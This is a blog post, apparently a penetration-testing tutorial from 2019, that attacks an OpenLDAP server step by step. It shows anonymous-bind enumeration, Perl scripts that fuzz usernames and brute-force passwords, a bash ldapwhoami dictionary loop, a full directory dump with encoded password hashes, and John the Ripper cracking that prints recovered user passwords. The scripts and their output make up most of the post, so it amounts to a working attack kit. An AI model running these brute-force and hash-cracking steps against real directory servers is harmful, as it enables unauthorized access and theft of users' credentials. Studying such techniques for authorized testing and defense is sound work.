Sunday, September 1, 2019

Testing LDAP servers with examples

Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up and running.

sam@asus:~% ping -c 3 148.32.42.5
PING 148.32.42.5 (148.32.42.5) 56(84) bytes of data.
64 bytes from 148.32.42.5: icmp_seq=1 ttl=64 time=0.043 ms
64 bytes from 148.32.42.5: icmp_seq=2 ttl=64 time=0.082 ms
64 bytes from 148.32.42.5: icmp_seq=3 ttl=64 time=0.122 ms

--- 148.32.42.5 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2087ms
rtt min/avg/max/mdev = 0.043/0.082/0.122/0.033 ms
sam@asus:~% 

We first start by scanning the host with nmap to verify if port 389 is indeed open.

sam@asus:~% sudo nmap -sV -p389 148.32.42.5

Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-22 10:55 MST
Nmap scan report for ldap.acme.com (148.32.42.5)
Host is up (0.00014s latency).
PORT    STATE SERVICE VERSION
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
sam@asus:~% 

As we can see nmap reports back to us that the is indeed open and running the LDAP service. Anonymous Bind Our next test is to see if this LDAP server is vulnerable to a NULL base or anonymous bind. We will search for all Distinguished Names (DN) in the tree.

sam@asus:~% ldapsearch -x -b "dc=acme,dc=com" "*" -h 148.32.42.5 | awk '/dn: / {print $2}'
dc=acme,dc=com
cn=admin,dc=acme,dc=com
cn=ldapusers,dc=acme,dc=com
cn=evelyn
cn=sales,dc=acme,dc=com
ou=direct,cn=sales,dc=acme,dc=com
ou=channel,cn=sales,dc=acme,dc=com
cn=support,dc=acme,dc=com
cn=training,dc=acme,dc=com
ou=helpdesk,cn=support,dc=acme,dc=com
ou=escalation,cn=support,dc=acme,dc=com
ou=instructors,cn=training,dc=acme,dc=com
ou=course
cn=chris
cn=sam
cn=justin
cn=heath
cn=nick
cn=eric
cn=tim
cn=vaj
sam@asus:~% 

In this case anonymous bind is allowed and we are able to traverse the directory tree as we would if we were a authenticated user. We can go further by pilfering through the directory and find all the user and user names on the server.

Unauthenticated Bind Enumeration (DN with no password)

Lets try a search for all user id's in the directory subtree using the DN `cn=admin,dc=acme,dc=com` and no password.

root@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5 | awk '/uid: /{print $2}' | nl
     1 esampson
     2 cchiu
     3 skumar
     4 jsmith
     5 hahmad
     6 nolsen
     7 ealvarez
     8 tmoreau
     9 vpatel
root@asus:~% 

This what you will see if you come upon a server where unauthenticated binds are disallowed:

sam@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5
ldap_bind: Server is unwilling to perform (53)
additional info: unauthenticated bind (DN with no password) disallowed
sam@asus:~% 

Unauthenticated Binds are only allowed if Anonymous Binds are also enabled.

Authenticated Bind Enumeration

For a authenticated LDAP bind we need to crack some passwords, preferably the ldap administrators. We also need identify the authentication used such as md5 ,etc.

We can get the authentication method by using a bogus password and trying to login

sam@asus:~% ldapwhoami -h ldap.acme.com -w "abcd123"
SASL/DIGEST-MD5 authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)
 additional info: SASL(-13): user not found: no secret in database
sam@asus:~%

Dictonary attack to find valid users

We can use Perl and the Net::LDAP module to check for valid users on the remote LDAP server. The simple script below searches for valid users and returns a distinguished name if found. This will help us in our next step which is to guess passwords for the accounts we find in this search. You can get some ideas on username guessing from Enumerating UNIX usernames

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $base     = "dc=acme,dc=com";
my $filename = "users.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

while (my $word = <$fh>) {
    chomp($word);

    my $search = $ldap->search(
        base    => $base,
        scope   => 'sub',
        filter  => '(&(uid='.$word.'))',
        attrs   => ['dn']
    );

    print "[+] Found valid login name $word\n" if(defined($search->entry));
}

We now run the script and fuzz for users on the server

sam@asus:~/public_html% ./ldap-users.pl 
[+] Found valid login name twest
[+] Found valid login name vpatel
[+] Found valid login name hahmad
[+] Found valid login name ealvarez
[+] Found valid login name skumar
[+] Found valid login name tmoreau
[+] Found valid login name jsmith
sam@asus:~/public_html% 

Dictonary attack to find valid password

Once we have a valid list of users on the server, we can move forward to search for valid user and password combinations. We can use Perl and Net::LDAP to query the server and test for valid logins.

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $user     = "twest";
my $base     = "dc=acme,dc=com";
my $filename = "wordlist.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

my $search = $ldap->search(
    base    => $base,
    scope   => 'sub',
    filter  => '(&(uid='.$user.'))',
    attrs   => ['dn']
);

if(defined($search->entry)) {

    my $user_dn = $search->entry->dn;

    print "[*] Searching for valid LDAP login for $user_dn...\n";

    while (my $word = <$fh>) {
        chomp($word);

        my $mesg = $ldap->bind($user_dn, password => $word);

        if ($mesg and $mesg->code() == 0) {
            print "[+] Found valid login $user_dn / $word\n";
            exit;
        }
    }
} else {
    print "[x] $user is not a valid LDAP user...\n";
    exit;
}

print "[x] No valid LDAP logins found...\n";

Running the script against the server we get the following

sam@asus:~/public_html% ./ldap-passwords.pl 
[*] Searching for valid LDAP login for cn=tim west,ou=channel,cn=sales,dc=acme,dc=com...
[+] Found valid login cn=tim west,ou=channel,cn=sales,dc=acme,dc=com / password
sam@asus:~/public_html% 

Using ldapwhoami to gain access

Here is a script to test a list of passwords against a valid Distingushed Name (DN) on a remote host.

#!/usr/bin/env bash
##
## Dictonary password attack against a valid DN using ldapwhoami
##

dn="cn=admin,dc=acme,dc=com"
host="ldap.acme.com"
list="wordlist.txt"

file=$(<${list})
wordlist=(`echo $file | sed 's/ /\n/g'`)

for word in "${wordlist[@]}"
do
    ldapwhoami -h ${host} -D "${dn}" -w "${word}" 2>/dev/null
    
    if [ $? == 0 ]
    then
        echo "Password \`${word}\` found for user"
    fi
done

if we run the shell script we should see this on success.

root@asus:~/pentest_notes% ./ldapwhoami-dictonary.sh 
dn:cn=admin,dc=acme,dc=com
Password `ldapadmin` found for user
root@asus:~/pentest_notes% 

Dumping data

If we do an ldap search with our user and pass with a search filter of (objectClass=*), a dump of the whole directory tree from admin.

root@asus:~/pentest_notes% ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
# extended LDIF
#
# LDAPv3
# base  (default) with scope subtree
# filter: (objectclass=*)
# requesting: * 
#

# acme.com
dn: dc=acme,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Acme
dc: acme

# admin, acme.com
dn: cn=admin,dc=acme,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9SW5uaE9PdFRmdENveWhPUDFTUFVnSnNMZ3ZxSVA3aUw=

# ldapusers, acme.com
dn: cn=ldapusers,dc=acme,dc=com
...
root@asus:~/pentest_notes%

Cracking OpenLDAP Passwords

the password hashes are encoded in base64 we can easly decode the string to extract the hash

root@asus:~/pentest_notes% echo "e01ENX0wTHVBcXJ1R0diYmpVUlB3TG5KMUt3PT0=" | base64 -d
{MD5}0LuAqruGGbbjURPwLnJ1Kw==
root@asus:~/pentest_notes%

All these hashes can be loaded up in JTR and cracked to get shell access on the remote system.

root@asus:~/src/john/run% ./john --wordlist=/home/sam/pentest_notes/rockyou.txt /home/sam/openldap.txt       
Using default input encoding: UTF-8
Loaded 8 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE4.1 4x3])
Remaining 7 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (hahmad)
education        (ealvarez)
kumar            (skumar)
jsmith           (jsmith)
instructor       (tmoreau)
hindu            (vpatel)
6g 0:00:00:04 DONE (2019-01-20 22:18) 1.360g/s 3252Kp/s 3252Kc/s 3363KC/s  filimani.¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run%

No comments:

Post a Comment

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...